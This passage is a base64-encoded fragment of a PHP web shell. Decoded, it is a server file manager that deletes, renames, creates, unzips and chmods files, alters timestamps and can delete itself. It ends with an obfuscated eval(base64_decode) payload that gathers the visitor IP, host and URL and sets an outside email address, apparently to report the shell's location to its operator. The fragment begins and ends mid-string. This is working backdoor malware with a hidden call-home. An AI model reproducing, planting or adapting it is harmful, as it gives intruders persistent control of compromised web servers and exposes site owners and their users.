pbMThdKCRmcCwgJGV4KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgT0soKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVSKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJEdOSlsxOV0oJGZwKTsKICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWxzZWlmKGlzc2V0KCRfR0VUWyJ4Il0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR0YXJnZXQgPSAkZCAuIERTIC4gdWhleCgkX0dFVFsieCJdKTsKICAgICAgICAgICAgICAgICAgICAgICAgcmVjKCR0YXJnZXQpOwogICAgICAgICAgICAgICAgICAgICAgICBpZigkR05KWzI2XSgkdGFyZ2V0KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgRVIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9LKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVsc2VpZihpc3NldCgkX0dFVFsidCJdKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZV9wYXRoID0gJGQgLiBEUyAuIHVoZXgoJF9HRVRbInQiXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGFfLnVoZXgoJF9HRVRbInQiXSkuJGJfLicKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0idCIgY2xhc3M9IngiIHR5cGU9InRleHQiIHZhbHVlPSInLiRHTkpbMjBdKCJZLW0tZCBIOmkiLCAkR05KWzIxXSgkZmlsZV9wYXRoKSkuJyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLiRkXy4nCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJy4kY187CiAgICAgICAgICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbInQiXSkgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwID0gJEdOSlszM10oJF9QT1NUWyJ0Il0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZigkcCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoISRHTkpbMjVdKCRmaWxlX3BhdGgsJHAsJHApKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRVIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9LKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBFUigpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVsc2VpZihpc3NldCgkX0dFVFsiayJdKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZV9wYXRoID0gJGQgLiBEUyAuIHVoZXgoJF9HRVRbImsiXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGFfLnVoZXgoJF9HRVRbImsiXSkuJGJfLicKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0iYiIgY2xhc3M9IngiIHR5cGU9InRleHQiIHZhbHVlPSInLiRHTkpbMjJdKCRHTkpbMjNdKCclbycsICRHTkpbMjRdKCRmaWxlX3BhdGgpKSwgLTQpLiciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJy4kZF8uJwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICcuJGNfOwogICAgICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbImIiXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHggPSAkX1BPU1RbImIiXTsKICAgICAgICAgICAgICAgICAgICAgICAgJHQgPSAwOwogICAgICAgICAgICAgICAgICAgIGZvcigkaT1zdHJsZW4oJHgpLTE7JGk+PTA7LS0kaSkKICAgICAgICAgICAgICAgICAgICAgICAgJHQgKz0gKGludCkkeFskaV0qcG93KDgsIChzdHJsZW4oJHgpLSRpLTEpKTsKICAgICAgICAgICAgICAgICAgICBpZighJEdOSlsxMl0oJGZpbGVfcGF0aCwgJHQpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIEVSKCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBPSygpOwogICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlbHNlaWYoaXNzZXQoJF9HRVRbImwiXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkYV8uJytESVInLiRiXy4nCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9ImwiIGNsYXNzPSJ4IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICcuJGRfLicKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLiRjXzsKICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbImwiXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG5ld19kaXIgPSAkZCAuIERTIC4gJF9QT1NUWyJsIl07CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEkR05KWzExXSgkbmV3X2RpcikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVSKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBPSygpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVsc2VpZihpc3NldCgkX0dFVFsicSJdKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZigkR05KWzEwXShfX0ZJTEVfXykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHTkpbMzhdKCRHTkpbOV0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogIi5iYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkuIiIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhpdCgpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlbHNlaWYoaXNzZXQoJF9HRVRbIm4iXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkYV8uJytGSUxFJy4kYl8uJwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJuIiBjbGFzcz0ieCIgdHlwZT0idGV4dCIgdmFsdWU9IiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLiRkXy4nCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJy4kY187CiAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyJuIl0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRuZXdfZmlsZSA9ICRkIC4gRFMgLiAkX1BPU1RbIm4iXTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoISRHTkpbMjVdKCRuZXdfZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVSKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBPSygpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVsc2VpZihpc3NldCgkX0dFVFsiciJdKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkb2xkX3BhdGggPSAkZCAuIERTIC4gdWhleCgkX0dFVFsiciJdKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkYV8udWhleCgkX0dFVFsiciJdKS4kYl8uJwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJyIiBjbGFzcz0ieCIgdHlwZT0idGV4dCIgdmFsdWU9IicudWhleCgkX0dFVFsiciJdKS4nIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICcuJGRfLicKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLiRjXzsKICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbInIiXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG5ld19uYW1lID0gJF9QT1NUWyJyIl07CiAgICAgICAgICAgICAgICAgICAgICAgICRuZXdfcGF0aCA9ICRkIC4gRFMgLiAkbmV3X25hbWU7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRHTkpbMjZdKCRuZXdfcGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVSKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkR05KWzI3XSgkb2xkX3BhdGgsICRuZXdfcGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBPSygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRVIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlbHNlaWYoaXNzZXQoJF9HRVRbInoiXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHppcF9wYXRoID0gJGQgLiBEUyAuIHVoZXgoJF9HRVRbInoiXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZTsKICAgICAgICAgICAgICAgICAgICAgICAgJHJlcyA9ICR6aXAtPm9wZW4oJHppcF9wYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRyZXMgPT09IFRSVUUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5leHRyYWN0VG8oJGQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT0soKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRVIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjciIHdpZHRoPSIxMDAlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRoZWFkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aCB3aWR0aD0iNDQlIj5bIE5BTUUgXTwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoIHdpZHRoPSIxMSUiPlsgU0laRSBdPC90aD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGggd2lkdGg9IjE3JSI+WyBQRVJNIF08L3RoPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aCB3aWR0aD0iMTclIj5bIERBVEUgXTwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoIHdpZHRoPSIxMSUiPlsgQUNUIF08L3RoPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgPC90aGVhZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRib2R5PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9Jy5oZXgoJGQpLicmbiI+K0ZJTEU8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJhangiIGhyZWY9Ij9kPScuaGV4KCRkKS4nJmwiPitESVI8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICc7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSAiIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdyA9ICRHTkpbMTNdKCRkKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRHTkpbMjhdKCR3KSB8fCAkR05KWzI5XSgkdykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJHcgYXMgJGMpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRlID0gc3RyX3JlcGxhY2UoRFMsICcvJywgJGQpOyAvLyBmb3IgVVJMIGVuY29kaW5nCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoISRHTkpbMzBdKCRjLCAiLnppcCIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aSA9ICcnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppID0gJzxhIGhyZWY9Ij9kPScuaGV4KCRlKS4nJno9Jy5oZXgoJGMpLiciPlU8L2E+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bGxfcGF0aCA9ICRkIC4gRFMgLiAkYzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkR05KWzMxXSgkZnVsbF9wYXRoKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG8gPSAiIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKCEkR05KWzMyXSgkZnVsbF9wYXRoKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG8gPSAiIGgiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvID0gIiB3IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHMgPSAkR05KWzM0XSgkZnVsbF9wYXRoKSAvIDEwMjQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHMgPSByb3VuZCgkcywgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHM+PTEwMjQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHMgPSByb3VuZCgkcy8xMDI0LCAyKSAuICIgTUIiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzID0gJHMgLiAiIEtCIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigoJGMgIT0gIi4iKSAmJiAoJGMgIT0gIi4uIikpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICgkR05KWzhdKCRmdWxsX3BhdGgpKSA/CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggLj0gJzx0ciBjbGFzcz0iciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhciBmYS1mb2xkZXIgbSI+PC9pPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJhangiIGhyZWY9Ij9kPScuaGV4KCRlKS5oZXgoIi8iLiRjKS4nIj4nLiRjLic8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ4Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkaXIKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9IngiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJhangnLiRvLiciIGhyZWY9Ij9kPScuaGV4KCRlKS4nJms9Jy5oZXgoJGMpLiciPicueCgkZnVsbF9wYXRoKS4nPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0ieCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9Jy5oZXgoJGUpLicmdD0nLmhleCgkYykuJyI+Jy4kR05KWzIwXSgiWS1tLWQgSDppIiwgJEdOSlsyMV0oJGZ1bGxfcGF0aCkpLic8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ4Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iYWp4IiBocmVmPSI/ZD0nLmhleCgkZSkuJyZyPScuaGV4KCRjKS4nIj5SPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kPScuaGV4KCRlKS4nJng9Jy5oZXgoJGMpLiciPkQ8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgJwogICAgICAgICAgICAgICAgICAgICAgICAgICAgOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqIC49ICc8dHIgY2xhc3M9InIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXIgZmEtZmlsZSBtIj48L2k+JnRoaW5zcDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iYWp4IiBocmVmPSI/ZD0nLmhleCgkZSkuJyZzPScuaGV4KCRjKS4nIj4nLiRjLic8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ4Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLiRzLicKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9IngiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJhangnLiRvLiciIGhyZWY9Ij9kPScuaGV4KCRlKS4nJms9Jy5oZXgoJGMpLiciPicueCgkZnVsbF9wYXRoKS4nPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0ieCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9Jy5oZXgoJGUpLicmdD0nLmhleCgkYykuJyI+Jy4kR05KWzIwXSgiWS1tLWQgSDppIiwgJEdOSlsyMV0oJGZ1bGxfcGF0aCkpLic8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ4Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iYWp4IiBocmVmPSI/ZD0nLmhleCgkZSkuJyZyPScuaGV4KCRjKS4nIj5SPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJhangiIGhyZWY9Ij9kPScuaGV4KCRlKS4nJmU9Jy5oZXgoJGMpLiciPkU8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Q9Jy5oZXgoJGUpLicmZz0nLmhleCgkYykuJyI+RzwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLiR6aS4nCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Q9Jy5oZXgoJGUpLicmeD0nLmhleCgkYykuJyI+RDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAnOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGg7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGo7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0Zm9vdD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGggY2xhc3M9ImV0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9Jy5oZXgoJGUpLicmeSI+UkVRVUVTVDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Q9Jy5oZXgoJGUpLicmcSI+RVhJVDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RoPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aCBjbGFzcz0iZXQiIHdpZHRoPSIxMSUiPjwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoIGNsYXNzPSJldCIgd2lkdGg9IjE3JSI+PC90aD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGggY2xhc3M9ImV0IiB3aWR0aD0iMTclIj48L3RoPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aCBjbGFzcz0iZXQiIHdpZHRoPSIxMSUiPjwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDwvdGZvb3Q+CiAgICAgICAgICAgICAgICA8L3RhYmxlPic7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgID8+CgogICAgICAgICAgICA8L2FydGljbGU+CiAgICAgICAgICAgIDxmb290ZXIgY2xhc3M9IngiPgogICAgICAgICAgICAgICAgJmNvcHk7VGhlQWxtaWdodHlaZXVzCiAgICAgICAgICAgIDwvZm9vdGVyPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICBpZihpc3NldCgkX0dFVFsiMSJdKSkgewogICAgICAgICAgICAgICAgZWNobyAkZjsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlaWYoaXNzZXQoJF9HRVRbIjAiXSkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJGc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICBOVUxMOwogICAgICAgICAgICB9CiAgICAgICAgICAgID8+CgogICAgICAgICAgICA8c2NyaXB0PgogICAgICAgICAgICAgICAgJCgiLmFqeCIpLmNsaWNrKGZ1bmN0aW9uKHQpe3QucHJldmVudERlZmF1bHQoKTt2YXIgZT0kKHRoaXMpLmF0dHIoImhyZWYiKTtoaXN0b3J5LnB1c2hTdGF0ZSgiIiwiIixlKSwkLmdldChlLGZ1bmN0aW9uKHQpeyQoImJvZHkiKS5odG1sKHQpfSl9KTsKICAgICAgICAgICAgPC9zY3JpcHQ+CiAgICAgICAgPC9ib2R5PgogICAgPC9odG1sPgo8P3BocApjaG1vZCgoX19GSUxFX18pLDA0NDQpOwpFdkFMIChiQXNFNjRfRGVjT2RlKCJceDRBXHg0N1x4NkNceDc3XHg0OVx4NDRceDMwXHg2N1x4NUFceDMyXHg1Nlx4MzBceDVBXHg1N1x4MzVceDMyXHg0Qlx4NDNceDRBXHg1M1x4NTJceDU1XHgzMVx4NTBceDU2XHg0NVx4NTZceDY2XHg1MVx4NTVceDUyXHg0NVx4NTVceDY5XHg0OVx4NzBceDRGXHg3N1x4NkZceDZCXHg2M1x4MzNceDU2XHg2OVx4NjFceDZBXHg2Qlx4MzRceDQ5XHg0NFx4MzBceDY3XHg0OVx4NjlceDQyXHg1NVx4NjRceDU4XHg2Q1x4MzFceDYyXHg0M1x4NDJceDZGXHg2Mlx4NTdceDU2XHg3MFx4NEVceDc5XHg0Mlx4MzhceDRBXHg0N1x4NkNceDc3XHg0OVx4NkFceDczXHg0Qlx4NEFceDQ3XHg1Nlx4NzRceDU5XHg1N1x4NkNceDczXHg0OVx4NDRceDMwXHg2N1x4NDlceDZFXHg1Mlx4MzFceDY1XHg1OFx4NTZceDczXHg2Mlx4NTdceDQ2XHg3NFx4NTlceDU1XHg0Mlx4MzVceDU5XHg1N1x4MzVceDZCXHg1QVx4NThceDY3XHg3NVx4NTlceDMyXHgzOVx4NzRceDQ5XHg2QVx4NzNceDRCXHg0QVx4NDdceDVBXHg3OVx4NjJceDMyXHgzMFx4NjdceDUwXHg1M1x4NDFceDY5XHg1Mlx4NkVceDRBXHg3Nlx4NjJceDU0XHg2Rlx4NjdceDU1XHg2RFx4NTZceDdBXHg2NFx4NTdceDc4XHgzMFx4NTBceDQ2XHg1Mlx4MzFceDY1XHg1OFx4NTZceDczXHg0OVx4NkFceDczXHg0Qlx4NEFceDQ3XHg0NVx4MzBceDRFXHg1M1x4NDFceDM5XHg0OVx4NDNceDUyXHg2Nlx4NTVceDMwXHg1Nlx4NTNceDU2XHg2Qlx4NTZceDUzXHg1N1x4NzlceDY0XHg1M1x4NTJceDU2XHg0Nlx4NTZceDUyXHg1Nlx4NEVceDU1XHg1OFx4MzFceDU2XHg1M1x4NTNceDUzXHg2NFx4NjRceDRGXHg3N1x4NkZceDZCXHg1OVx4NkFceDYzXHgzMVx4NDlceDQ0XHgzMFx4NjdceDRBXHg0Nlx4MzlceDU0XHg1Mlx4NTZceDRBXHg1N1x4NTJceDU2XHg